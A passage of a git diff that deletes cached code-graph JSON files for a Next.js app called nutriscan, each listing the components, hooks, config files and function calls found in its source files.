"source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L56", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "ui_dialog_dialogfooter", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L70", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "ui_dialog_dialogtitle", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L84", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_dialog_tsx", "target": "ui_dialog_dialogdescription", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L99", "weight": 1.0}], "raw_calls": [{"caller_nid": "ui_dialog_dialogheader", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L61"}, {"caller_nid": "ui_dialog_dialogfooter", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\dialog.tsx", "source_location": "L75"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/3d76f754d17690fe5bd9d69b15ae50eb9cd862d82e8acb21d9f3a2cbab7c5687.json b/graphify-out/cache/ast/3d76f754d17690fe5bd9d69b15ae50eb9cd862d82e8acb21d9f3a2cbab7c5687.json
deleted file mode 100644
index 94ed629..0000000
--- a/graphify-out/cache/ast/3d76f754d17690fe5bd9d69b15ae50eb9cd862d82e8acb21d9f3a2cbab7c5687.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_tailwind_config_ts", "label": "tailwind.config.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\tailwind.config.ts", "source_location": "L1"}, {"id": "nutriscan_tailwind_config_config", "label": "config", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\tailwind.config.ts", "source_location": "L3"}], "edges": [{"source": "d_documents_github_nutriscan_tailwind_config_ts", "target": "tailwindcss", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\tailwind.config.ts", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_tailwind_config_ts", "target": "nutriscan_tailwind_config_config", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\tailwind.config.ts", "source_location": "L3", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/3e1f202df17478b45bd9d2335cfce83379c93fdb492e0faaea08361e3c89b2a7.json b/graphify-out/cache/ast/3e1f202df17478b45bd9d2335cfce83379c93fdb492e0faaea08361e3c89b2a7.json
deleted file mode 100644
index 3ef2a33..0000000
--- a/graphify-out/cache/ast/3e1f202df17478b45bd9d2335cfce83379c93fdb492e0faaea08361e3c89b2a7.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "label": "useProductFilters.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L1"}, {"id": "hooks_useproductfilters_useproductfiltersoptions", "label": "UseProductFiltersOptions", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L7"}, {"id": "hooks_useproductfilters_useproductfilters", "label": "useProductFilters()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L13"}, {"id": "hooks_useproductfilters_parsefiltersfromurl", "label": "parseFiltersFromURL()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L167"}, {"id": "hooks_useproductfilters_loadfiltersfromstorage", "label": "loadFiltersFromStorage()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L236"}, {"id": "hooks_useproductfilters_savefilterstostorage", "label": "saveFiltersToStorage()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L245"}, {"id": "hooks_useproductfilters_debounce", "label": "debounce()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L253"}], "edges": [{"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "d_documents_github_nutriscan_lib_types_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "lib_types_productfilters", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "lib_types_filterstate", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "hooks_useproductfilters_useproductfiltersoptions", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "hooks_useproductfilters_useproductfilters", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L13", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "hooks_useproductfilters_parsefiltersfromurl", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L167", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "hooks_useproductfilters_loadfiltersfromstorage", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L236", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "hooks_useproductfilters_savefilterstostorage", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L245", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_useproductfilters_ts", "target": "hooks_useproductfilters_debounce", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L253", "weight": 1.0}, {"source": "hooks_useproductfilters_useproductfilters", "target": "hooks_useproductfilters_debounce", "relation": "calls", "context": "call", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L47", "weight": 1.0}], "raw_calls": [{"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useRouter", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L20"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useSearchParams", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L21"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L23"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L24"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L25"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L28"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L39"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L46"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L111"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L116"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L123"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L131"}, {"caller_nid": "hooks_useproductfilters_useproductfilters", "callee": "useMemo", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L138"}, {"caller_nid": "hooks_useproductfilters_parsefiltersfromurl", "callee": "forEach", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L182"}, {"caller_nid": "hooks_useproductfilters_parsefiltersfromurl", "callee": "forEach", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L191"}, {"caller_nid": "hooks_useproductfilters_parsefiltersfromurl", "callee": "forEach", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L200"}, {"caller_nid": "hooks_useproductfilters_parsefiltersfromurl", "callee": "forEach", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L218"}, {"caller_nid": "hooks_useproductfilters_parsefiltersfromurl", "callee": "keys", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L229"}, {"caller_nid": "hooks_useproductfilters_loadfiltersfromstorage", "callee": "getItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L238"}, {"caller_nid": "hooks_useproductfilters_loadfiltersfromstorage", "callee": "parse", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L239"}, {"caller_nid": "hooks_useproductfilters_savefilterstostorage", "callee": "setItem", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L247"}, {"caller_nid": "hooks_useproductfilters_savefilterstostorage", "callee": "stringify", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useProductFilters.ts", "source_location": "L247"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/44f517787136ef954babbf0550082bda405c7abe84831f8d7804798fd700b3de.json b/graphify-out/cache/ast/44f517787136ef954babbf0550082bda405c7abe84831f8d7804798fd700b3de.json
deleted file mode 100644
index fbb6f85..0000000
--- a/graphify-out/cache/ast/44f517787136ef954babbf0550082bda405c7abe84831f8d7804798fd700b3de.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_components_ui_button_tsx", "label": "button.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L1"}, {"id": "ui_button_buttonvariants", "label": "buttonVariants", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L7"}, {"id": "ui_button_buttonprops", "label": "ButtonProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L37"}, {"id": "ui_button_button", "label": "Button", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L43"}], "edges": [{"source": "d_documents_github_nutriscan_components_ui_button_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_button_tsx", "target": "react_slot", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_button_tsx", "target": "class_variance_authority", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_button_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_button_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_button_tsx", "target": "ui_button_buttonvariants", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_button_tsx", "target": "ui_button_buttonprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L37", "weight": 1.0}, {"source": "d_documents_github_nutriscan_components_ui_button_tsx", "target": "ui_button_button", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\components\\ui\\button.tsx", "source_location": "L43", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/44f6980e1d7819c9ffc7609e0b86440a12af3e828174a1c8e2c979f239d34679.json b/graphify-out/cache/ast/44f6980e1d7819c9ffc7609e0b86440a12af3e828174a1c8e2c979f239d34679.json
deleted file mode 100644
index 31933b3..0000000
--- a/graphify-out/cache/ast/44f6980e1d7819c9ffc7609e0b86440a12af3e828174a1c8e2c979f239d34679.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_next_config_mjs", "label": "next.config.mjs", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\next.config.mjs", "source_location": "L1"}, {"id": "nutriscan_next_config_nextconfig", "label": "nextConfig", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\next.config.mjs", "source_location": "L2"}], "edges": [{"source": "d_documents_github_nutriscan_next_config_mjs", "target": "nutriscan_next_config_nextconfig", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\next.config.mjs", "source_location": "L2", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/456ab99d41ab71e48c2339685f34148492d937dae5f706ab3cc271026cce3861.json b/graphify-out/cache/ast/456ab99d41ab71e48c2339685f34148492d937dae5f706ab3cc271026cce3861.json
deleted file mode 100644
index 438250b..0000000
--- a/graphify-out/cache/ast/456ab99d41ab71e48c2339685f34148492d937dae5f706ab3cc271026cce3861.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "label": "useSearchCache.ts", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L1"}, {"id": "hooks_usesearchcache_searchcachestate", "label": "SearchCacheState", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L7"}, {"id": "hooks_usesearchcache_usesearchcachereturn", "label": "UseSearchCacheReturn", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L20"}, {"id": "hooks_usesearchcache_usesearchcache", "label": "useSearchCache()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L51"}], "edges": [{"source": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "target": "d_documents_github_nutriscan_lib_openfoodfactsapi_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "target": "lib_openfoodfactsapi_product", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "target": "d_documents_github_nutriscan_lib_cachemanager_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "target": "lib_cachemanager_cachemanager", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "target": "lib_cachemanager_cachedsearch", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "target": "lib_cachemanager_filterrecord", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "target": "hooks_usesearchcache_searchcachestate", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "target": "hooks_usesearchcache_usesearchcachereturn", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L20", "weight": 1.0}, {"source": "d_documents_github_nutriscan_hooks_usesearchcache_ts", "target": "hooks_usesearchcache_usesearchcache", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L51", "weight": 1.0}], "raw_calls": [{"caller_nid": "hooks_usesearchcache_usesearchcache", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L52"}, {"caller_nid": "hooks_usesearchcache_usesearchcache", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L60"}, {"caller_nid": "hooks_usesearchcache_usesearchcache", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L87"}, {"caller_nid": "hooks_usesearchcache_usesearchcache", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L122"}, {"caller_nid": "hooks_usesearchcache_usesearchcache", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L151"}, {"caller_nid": "hooks_usesearchcache_usesearchcache", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L155"}, {"caller_nid": "hooks_usesearchcache_usesearchcache", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L159"}, {"caller_nid": "hooks_usesearchcache_usesearchcache", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L179"}, {"caller_nid": "hooks_usesearchcache_usesearchcache", "callee": "useCallback", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L186"}, {"caller_nid": "hooks_usesearchcache_usesearchcache", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\hooks\\useSearchCache.ts", "source_location": "L195"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/49acfa12aa6d2190611dc5874b6d38f09bf13c8d12414b3f33e49709f89d408a.json b/graphify-out/cache/ast/49acfa12aa6d2190611dc5874b6d38f09bf13c8d12414b3f33e49709f89d408a.json
deleted file mode 100644
index 93ca6da..0000000
--- a/graphify-out/cache/ast/49acfa12aa6d2190611dc5874b6d38f09bf13c8d12414b3f33e49709f89d408a.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sobre_components_storysection_tsx", "label": "StorySection.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\StorySection.tsx", "source_location": "L1"}, {"id": "components_storysection_storystep", "label": "StoryStep", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\StorySection.tsx", "source_location": "L3"}, {"id": "components_storysection_story_data", "label": "STORY_DATA", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\StorySection.tsx", "source_location": "L9"}, {"id": "components_storysection_storysection", "label": "StorySection()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\StorySection.tsx", "source_location": "L36"}], "edges": [{"source": "d_documents_github_nutriscan_app_sobre_components_storysection_tsx", "target": "components_storysection_storystep", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\StorySection.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_storysection_tsx", "target": "components_storysection_story_data", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\StorySection.tsx", "source_location": "L9", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_sobre_components_storysection_tsx", "target": "components_storysection_storysection", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\StorySection.tsx", "source_location": "L36", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_storysection_storysection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\StorySection.tsx", "source_location": "L55"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/533e769ef643ff271d5fab611cc501799e0b32bffc44a88e0703746465c361a6.json b/graphify-out/cache/ast/533e769ef643ff271d5fab611cc501799e0b32bffc44a88e0703746465c361a6.json
deleted file mode 100644
index 3bb460f..0000000
--- a/graphify-out/cache/ast/533e769ef643ff271d5fab611cc501799e0b32bffc44a88e0703746465c361a6.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_card_tsx", "label": "card.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\card.tsx", "source_location": "L1"}, {"id": "components_card_cardprops", "label": "CardProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\card.tsx", "source_location": "L1"}, {"id": "components_card_card", "label": "Card()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\card.tsx", "source_location": "L14"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_card_tsx", "target": "components_card_cardprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\card.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_card_tsx", "target": "components_card_card", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\card.tsx", "source_location": "L14", "weight": 1.0}], "raw_calls": []}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/5543c4e0abfb95f535151ea9f3dda19c0b9c982831332cce75d4155d17ea77d8.json b/graphify-out/cache/ast/5543c4e0abfb95f535151ea9f3dda19c0b9c982831332cce75d4155d17ea77d8.json
deleted file mode 100644
index 0b4d65e..0000000
--- a/graphify-out/cache/ast/5543c4e0abfb95f535151ea9f3dda19c0b9c982831332cce75d4155d17ea77d8.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_sobre_components_impactsection_tsx", "label": "ImpactSection.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ImpactSection.tsx", "source_location": "L1"}, {"id": "components_impactsection_impactsection", "label": "ImpactSection()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ImpactSection.tsx", "source_location": "L3"}], "edges": [{"source": "d_documents_github_nutriscan_app_sobre_components_impactsection_tsx", "target": "components_impactsection_impactsection", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ImpactSection.tsx", "source_location": "L3", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_impactsection_impactsection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ImpactSection.tsx", "source_location": "L21"}, {"caller_nid": "components_impactsection_impactsection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ImpactSection.tsx", "source_location": "L43"}, {"caller_nid": "components_impactsection_impactsection", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\sobre\\components\\ImpactSection.tsx", "source_location": "L72"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/58203679fb7f4052556ef2c480e7aab1f055f7ef3c25982ebea0da790d3bde2b.json b/graphify-out/cache/ast/58203679fb7f4052556ef2c480e7aab1f055f7ef3c25982ebea0da790d3bde2b.json
deleted file mode 100644
index a4d9c9a..0000000
--- a/graphify-out/cache/ast/58203679fb7f4052556ef2c480e7aab1f055f7ef3c25982ebea0da790d3bde2b.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "label": "DeleteButton.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L1"}, {"id": "components_deletebutton_deletebuttonprops", "label": "DeleteButtonProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L19"}, {"id": "components_deletebutton_deletebutton", "label": "DeleteButton()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L25"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "d_documents_github_nutriscan_components_ui_button_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "ui_button_button", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\DeleteButton.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_deletebutton_tsx", "target": "d_documents_github_nutriscan_components_ui_alert_dialog_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", 